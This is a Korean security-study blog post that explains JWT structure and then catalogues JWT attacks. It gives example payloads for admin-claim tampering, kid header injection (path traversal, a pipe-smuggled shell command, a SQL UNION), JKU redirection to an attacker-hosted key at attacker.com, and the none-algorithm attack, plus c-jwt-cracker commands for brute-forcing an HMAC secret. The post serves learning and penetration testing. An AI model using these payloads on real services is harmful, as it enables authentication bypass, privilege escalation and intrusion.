개요
JWT구조
Header
- alg : 서명 암호화 알고리즘(ex: HMAC SHA256, RSA)
- typ : 토큰 유형
Payload
토큰에서 사용할 정보의 조각들인 Claim 이 담겨있다. (실제 JWT 를 통해서 알 수 있는 데이터)
즉, 서버와 클라이언트가 주고받는 시스템에서 실제로 사용될 정보에 대한 내용을 담고 있는 섹션이다.
key-value 형식으로 이루어진 한 쌍의 정보를 Claim이라고 칭한다.
페이로드는 정해진 데이터 타입은 없지만, 대표적으로 Registered claims, Public claims, Private claims 이렇게 세 가지로 나뉜다.
- Registed claims : 미리 정의된 클레임.
- iss(issuer; 발행자),
- exp(expireation time; 만료 시간),
- sub(subject; 제목),
- iat(issued At; 발행 시간),
- jti(JWI ID)
- iss(issuer; 발행자),
- Public claims : 사용자가 정의할 수 있는 클레임 공개용 정보 전달을 위해 사용.
- Private claims : 해당하는 당사자들 간에 정보를 공유하기 위해 만들어진 사용자 지정 클레임. 외부에 공개되도 상관없지만 해당 유저를 특정할 수 있는 정보들을 담는다
Signature
시그니처에서 사용하는 알고리즘은 헤더에서 정의한 알고리즘 방식(alg)을 활용한다.
시그니처의 구조는 (헤더 + 페이로드)와 서버가 갖고 있는 유일한 key 값을 합친 것을 헤더에서 정의한 알고리즘으로 암호화를 한다.
JWT 인코딩 / 디코딩 해보기
직접 JWT 토큰을 생성해 연습해보고 싶다면, 아래 공식사이트에서 쉽게 JWT 토큰을 인코딩(생성) 하거나 디코딩 할수 있다.
JWT관련 취약점
Payload 내 정보 노출
Payload값 base64 디코딩를 통해 중요 정보가 노츨되어 취약점이 발생할 수 있습니다.
예시
// base64 Payload
eyJuYW1lIjoibWFrZWJyZWFkIiwidXNlcl9uYW1lIjoibWFrM2JyZWFkIiwicGFzc3dvcmQiOiJoaW1ha2VicmVhZCJ9
// decoded Payload
{
"name": "makebread",
"user_name": "mak3bread",
"password": "himakebread"
}
Payload 조작 가능 및 권한 상승
payload를 조작하여, 허가되지 않은 기능을 실행하거나 현재 유저보다 높은 권한을 갖게 되는 취약점 입니다.
예시
{
"name": "makebread",
"user_name": "mak3bread",
"admin": false
}
payload 데이터에 admin을 의미하는 True/False 값이 있는 경우 해당 토큰 값을 "admin" : true 로 설정하여 인증 우회 및 권한 상승을 할 수 있습니다.
Header Key Id Injection
Header에 key id관련 파라미터가 존재하는 경우, key id부분에서 여러 Injection 취약점이 발생할 수 있습니다.
Directory Traversal 예시
key id 파라미터로 파일 시스템에 접근하는 경우, Directory Traversal이 가능할 수 있습니다.
{
"alg": "HS256",
"typ": "JWT",
"kid": "../../../../../../dev/null"
}
RCE 예시
{
"alg": "HS256",
"typ": "JWT",
"kid": "key1|/usr/bin/uname"
}
SQLI 예시
kid 매개변수 삽입을 통한 SQLI
kid를 찾는 방식이
SELECT key FROM keys WHERE key='key1'
라면 다음과 같이 변조 하여 우회할 수 있습니다.
{
"alg": "HS256",
"typ": "JWT",
"kid": "xxxx' UNION SELECT 'aaa"
}
->
SELECT key FROM keys WHERE key='xxxx' UNION SELECT 'aaa'
Header JKU Parameter Attack
JWT의 Header에는 jku 파라미터가 사용될 수 있고, jku 파라미터에서 발생할 수 있는 취약점이 존재합니다.
예시
{
"alg": "RS256",
"typ": "JWT",
"jku":"https://example.com/key.json"
}
다음과 같이 JWT헤더가 정의되어 있는 경우, key.json 파일에는
{
"kty": "RSA",
"n": "-4KIwb83vQMH0YrzE44HppWvyNYmyuznuZPKWFt3e0xmdi-WcgiQZ1TC...RMxYC9lr4ZDp-M0",
"e": "AQAB"
}
다음과 같은 정보가 저장되어 있고 이를 사용하여 서명을 검증할 수 있습니다.
관련 우회
https://truested -> 해당 도메인인지 확인 하는 경우
attacker.com/key.json -> 공격자 JWK
- open redirect
https://trusted/jwks/../open_redirect_url=attacker.com - starting with trusted로 확인하는 경우
https://trusted@attacker.com
https://trusted#attacker.com - header injection
https://trusted/jwks/../header_injection
None Algorithm Attack
공격자가 해싱 알고리즘을 'none'으로 변경하여 signature 검증을 우회할 수 있는 취약점.
예시
Brute-Force Attack
무차별 대입 공격으로 대칭키와 서명을 비교하여 JWT 무효화 시켜 JWT 위조하기
예시
사용되는 프로그램 (c-jwt-cracker)
openssl가 설치되어 있지 않다면, 먼저 openssl를 설치합니다.
$ brew install openssl
그 다음 터미널에서 다음 명령을 실행합니다.
$ make OPENSSL=/usr/local/opt/openssl/include OPENSSL_LIB=-L/usr/local/opt/openssl/lib
혹시 맥이 아닌 우분투라면 아래와 같이 설치합니다.
$ apt-get install libssl-dev
그 다음 jwt-cracker 리포토리를 clone 합니다.
$ git clone https://github.com/brendan-rius/c-jwt-cracker.git
$ cd c-jwt-cracker
이제 jwt-cracker를 실행 해봅니다.
다음은 sha256 해시함수를 사용하도록 하고 최대 암호 길이는 5글자, 그리고 문자열은 ABCSNFabcsnf1234 로 제한하여 실행하였습니다.
time \
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE \
ABCSNFabcsnf1234 5 sha256
⇒ 결과적으로 Secret Key는 Sn1f이며 제 맥북에서 알아내는데 1초도 걸리지 않습니다.
Secret Key에 사용된 문자열과 길이, 알고리즘을 예상할 수 있다면 쉽게 알아낼 수가 있습니다.
//
참고 :
https://anpigon.tistory.com/138
https://velog.io/@thelm3716/JWTvul#-02-01-signature-%EB%AF%B8%ED%99%95%EC%9D%B8
JWT 해킹 사례를 통한 취약점 분석하기
많은 웹서비스들이 JWT(JSON Web Tokens)를 쿠키에 저장해놓고 사용자 인증에 사용하고 있습니다. 먼저 JWT가 무엇인지 알아보고, JWT의 취약점에 대해서 설명합니다. _ JWT란? JWT는 서버와 클라이언트
anpigon.tistory.com
[WEB] 📚 JWT 토큰 인증 이란? - 💯 이해하기 쉽게 정리
인증 방식 종류 (Cookie & Session & Token) 보통 서버가 클라이언트 인증을 확인하는 방식은 대표적으로 쿠키, 세션, 토큰 3가지 방식이 있다. JWT를 배우기 앞서 우선 쿠키와 세션의 통신 방식을 복습해
inpa.tistory.com
'🌍WEB' 카테고리의 다른 글
SPA(Angular, React, Vue) 진단 시 참고 (0) | 2023.01.10 |
---|---|
SQL Injection 정리 / 상시 업데이트 (0) | 2022.10.18 |
[공부] Xpath Injection (2) | 2022.09.20 |
🔐 모의해킹 사이트 구축 & 웹 침투 테스트 (0) | 2021.08.31 |
🔆Naver Weather API [PHP]제작 (0) | 2020.09.21 |